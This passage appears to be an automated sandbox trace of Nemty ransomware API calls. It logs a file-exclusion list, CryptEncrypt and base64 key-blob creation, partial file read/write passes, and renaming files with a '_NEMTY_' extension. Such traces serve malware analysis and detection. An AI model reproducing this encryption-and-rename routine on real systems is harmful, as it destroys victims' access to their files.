dwFlags=0x0, lpWideCharStr="undocked_gray_rainy.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_rainy.png", lpUsedDefaultChar=0x0) returned 23 [0169.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0169.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_rainy.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0169.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_rainy.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_rainy.png", lpUsedDefaultChar=0x0) returned 23 [0169.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0169.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0169.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0169.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_rainy.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0169.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_rainy.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_rainy.png", lpUsedDefaultChar=0x0) returned 23 [0169.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0169.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0169.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_rainy.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0169.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0169.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_rainy.png", cchWideChar=23, lpMultiByteStr=0x4f9ed08, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_rainy.png", lpUsedDefaultChar=0x0) returned 23 [0169.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0169.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0169.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0169.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0169.321] Sleep (dwMilliseconds=0x5) [0169.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x18943250, dwHighDateTime=0x1d561e8)) [0169.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x18943250, dwHighDateTime=0x1d561e8)) [0169.336] GetLastError () returned 0x5 [0169.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.336] GetLastError () returned 0x5 [0169.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0169.336] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0169.336] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0169.336] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0169.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0169.336] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="gP5oS85GFhh/LIpYGbDYkgJEa/Su8VX9etyf2aMJyaS68e47cpMhM6ocFdghrOok\r\nMCDWgxzJamusId1LthBVYpudrXLGB/mjDbwizEBigTvUJKDWSzLn99kv3TkN85fS\r\nlrggrK8gmcEDz8afdaOD4zChG7V47PYQg+6TZxKBdNvzsOeu7u0h+wwiAJv2Q3nc\r\nWwRiwqsm3RKl/8loKjvhx7wbKON3jhB2odDf4PFUiLL+qXs+0rxtsTG3mnfrblpQ\r\n2diBRg9vjai26A1JnFZUhawUewGnsYvubFDhjKnPUErJGj0IuYAJc9l6UVNIYSJB\r\naSGg7qtq7qMpksDDHaSqDQ==\r\n", pcchString=0x653e91c) returned 1 [0169.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0169.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0169.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0169.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0169.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0169.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0169.336] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_rainy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_rainy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.337] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0169.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0169.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.337] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.346] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.346] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.365] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.365] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.374] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.375] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.384] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.384] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.384] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.384] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.393] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.403] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.403] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.412] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.412] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.422] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.422] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.431] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.437] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0169.443] CloseHandle (hObject=0xffffffff) returned 0 [0169.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0169.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0169.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0169.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0169.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0169.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0169.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0169.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0169.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_rainy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_rainy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_rainy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_rainy.png._nemty_kgobjgd_")) returned 0 [0169.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0169.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0169.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0169.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0169.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0169.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0169.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0169.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.444] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87063d15, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87063d15, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36cdcd07, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa0df, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_gray_snow.png", cAlternateFileName="")) returned 1 [0169.444] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2=".") returned 1 [0169.444] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="..") returned 1 [0169.444] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="...") returned 1 [0169.444] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="windows") returned -1 [0169.444] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="$RECYCLE.BIN") returned 1 [0169.444] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="rsa") returned 1 [0169.444] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="NTDETECT.COM") returned 1 [0169.444] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="ntldr") returned 1 [0169.444] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="MSDOS.SYS") returned 1 [0169.444] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="IO.SYS") returned 1 [0169.444] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="boot.ini") returned 1 [0169.444] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="boot.ini") returned 1 [0169.444] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="AUTOEXEC.BAT") returned 1 [0169.444] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="ntuser.dat") returned 1 [0169.444] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="desktop.ini") returned 1 [0169.445] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="CONFIG.SYS") returned 1 [0169.445] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="RECYCLER") returned 1 [0169.445] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="BOOTSECT.BAK") returned 1 [0169.445] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="bootmgr") returned 1 [0169.445] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="programdata") returned 1 [0169.445] lstrcmpiW (lpString1="undocked_gray_snow.png", lpString2="appdata") returned 1 [0169.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0169.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_snow.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0169.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_snow.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_snow.png", lpUsedDefaultChar=0x0) returned 22 [0169.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0169.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_snow.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0169.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_snow.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_snow.png", lpUsedDefaultChar=0x0) returned 22 [0169.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0169.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0169.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0169.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_snow.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0169.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_snow.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_snow.png", lpUsedDefaultChar=0x0) returned 22 [0169.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: 